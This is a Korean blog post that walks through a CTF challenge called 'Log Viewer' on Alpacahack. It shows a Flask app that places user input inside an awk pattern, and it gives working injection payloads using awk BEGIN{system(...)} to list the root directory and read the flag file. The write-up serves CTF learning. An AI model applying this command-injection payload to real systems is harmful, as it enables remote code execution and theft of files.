Log Viewer

2026. 2. 20. 21:19·Alpacahack
반응형

문제설명

Topic: Remote Code Execution

분야: Web

난이도: Medium

Simple log viewer with regex feature.


코드분석

@app.route("/", methods=["GET", "POST"])
def index():
    query = ""
    log = ""
    if request.method == "POST":
        query = request.form.get("query", "")

        command = ["awk", f"/{query}/", "info.log"]
        result = subprocess.run(
            command,
            capture_output=True,
            timeout=0.5,
            text=True,
        )
        log = result.stderr or result.stdout
      
      return render_template(
        "index.html",
        log=log,
        query=query,
    )
  • query를 사용자로부터 입력받음
  • command는 "awk" = 실행할 프로그램 / "/query/" = awk 패턴(정규식) / info.log = 입력파일
  • 에러출력이 있으면 그걸 우선 보여주고 없으면 정상 출력을 보여줌

취약점 분석

  • 사용자가 입력한 쿼리가 아무런 검증 없이 command로 그대로 실행됨

익스플로잇

파일 내용 상관없이 무조건 실행되게 하기 위해 BEGIN 블록을 사용

 

아래와 같이 페이로드를 작성해주면

x/;BEGIN{system("ls /")}#

#	실행되는 코드
awk /x/; BEGIN{system("ls / ")} #

flag 파일을 찾을 수 있음

 

flag 파일을 읽기 위해서 다음과 같이 페이로드를 작성해 줌

x/;BEGIN{system("cat /flag-*")}#

#	실행되는 코드
awk /x/; BEGIN{system("cat /flag-*")}#

반응형
저작자표시 (새창열림)

'Alpacahack' 카테고리의 다른 글

omikuji  (0) 2026.02.23
Emojify  (0) 2026.02.20
You are being redirected  (0) 2026.02.16
Inu Profile  (0) 2026.02.11
Plz Login  (0) 2026.02.09
'Alpacahack' 카테고리의 다른 글
  • omikuji
  • Emojify
  • You are being redirected
  • Inu Profile
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    CSRF
    web
    webhacking
    JS
    hacking
    LLM
    cve
    xss
    DreamHack
    webstudy
    드림핵
    alpacahack
    JavaScript
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
Log Viewer
상단으로

티스토리툴바